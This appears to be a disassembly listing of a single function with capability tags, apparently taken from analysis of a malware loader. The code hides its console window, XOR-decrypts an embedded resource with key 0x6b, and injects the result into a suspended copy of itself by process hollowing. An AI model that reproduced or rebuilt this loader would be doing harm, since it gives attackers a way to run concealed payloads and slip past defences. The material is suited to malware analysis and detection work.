Function at 0x401160
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Extract resource via kernel32 functions
Hide graphical window
Resume thread
Use process replacement

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x488
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x4031d0
mov esi, eax
push 0x84
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x4014ae
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4014ae
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x4014ae
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
movaps xmm2, xmmword [str.kkkkkkkkkkkkkkkk]
mov edi, eax
xor eax, eax
xor esi, esi
mov dword [ebp - 0x464], eax
test edi, edi
je 0x40125c
cmp edi, 0x7fffffff
ja 0x40150c
cmp edi, 0x1000
jb 0x401235
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x401511
push eax
call fcn.0040153a
add esp, 4
test eax, eax
je 0x401506
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x401240
push edi
call fcn.0040153a
add esp, 4
mov esi, eax
push edi
lea eax, [esi + edi]
push 0
push esi
mov dword [ebp - 0x464], eax
call sub.VCRUNTIME140.dll_memset
movaps xmm2, xmmword [str.kkkkkkkkkkkkkkkk]
add esp, 0xc
xor eax, eax
test edi, edi
je 0x4012bc
cmp edi, 0x40
jb 0x4012b3
mov edx, edi
lea ecx, [esi + 0x20]
and edx, 0xffffffc0
nop
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
xorps xmm0, xmm2
movups xmmword [ecx - 0x60], xmm0
movups xmm0, xmmword [ecx - 0x50]
xorps xmm1, xmm0
movups xmmword [ecx - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x40], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x30]
xorps xmm1, xmm0
movups xmmword [ecx - 0x30], xmm1
cmp eax, edx
jb 0x401270
cmp eax, edi
jae 0x4012bc
xor byte [esi + eax], 0x6b
inc eax
cmp eax, edi
jb 0x4012b3
mov edi, dword [ebp - 0x464]
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x468], eax
cmp dword [eax], 0x4550
jne 0x4014bd
push 0x44
lea eax, [ebp - 0x450]
xorps xmm0, xmm0
push 0
push eax
movaps xmmword [ebp - 0x460], xmm0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x408]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x450]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4014bd
push 4
push 0x1000
push 0x2cc
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push eax
mov dword [ebp - 0x46c], eax
mov dword [eax], 0x10007
push dword [ebp - 0x45c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4014bd
mov eax, dword [ebp - 0x468]
push 0x40
push 0x3000
lea ecx, [eax + 0x34]
push dword [eax + 0x50]
mov dword [ebp - 0x47c], ecx
push dword [ecx]
push dword [ebp - 0x460]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x468]
push 0
mov dword [ebp - 0x478], eax
push dword [ecx + 0x54]
push esi
push eax
push dword [ebp - 0x460]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x468]
xor ecx, ecx
mov dword [ebp - 0x470], 0
cmp cx, word [eax + 6]
jae 0x40143a
mov dword [ebp - 0x474], ecx
mov edi, eax
nop word [eax + eax]
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + esi + 0x108]
mov eax, dword [ecx + esi + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + esi + 0x104]
add eax, dword [ebp - 0x478]
push eax
push dword [ebp - 0x460]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x470]
mov ecx, dword [ebp - 0x474]
inc edx
movzx eax, word [edi + 6]
add ecx, 0x28
mov dword [ebp - 0x470], edx
mov dword [ebp - 0x474], ecx
cmp edx, eax
jb 0x4013e0
mov edi, dword [ebp - 0x464]
mov eax, dword [ebp - 0x46c]
push 0
push 4
push dword [ebp - 0x47c]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x460]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x468]
mov eax, dword [ecx + 0x28]
mov ecx, dword [ebp - 0x46c]
add eax, dword [ebp - 0x478]
push ecx
mov dword [ecx + 0xb0], eax
push dword [ebp - 0x45c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x45c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
push dword [ebp - 0x460]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x46c], 0
jmp 0x4014c7
xor esi, esi
xor edi, edi
mov dword [ebp - 0x464], edi
jmp 0x4012c2
mov dword [ebp - 0x46c], 1
sub edi, esi
cmp edi, 0x1000
jb 0x4014e3
mov ecx, dword [esi - 4]
add edi, 0x23
sub esi, ecx
lea eax, [esi - 4]
cmp eax, 0x1f
ja 0x401506
mov esi, ecx
push edi
push esi
call fcn.0040156a
mov ecx, dword [ebp - 4]
add esp, 8
mov eax, dword [ebp - 0x46c]
xor ecx, ebp
pop edi
pop esi
call fcn.0040152c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call fcn.00401520
call fcn.004010c0
int3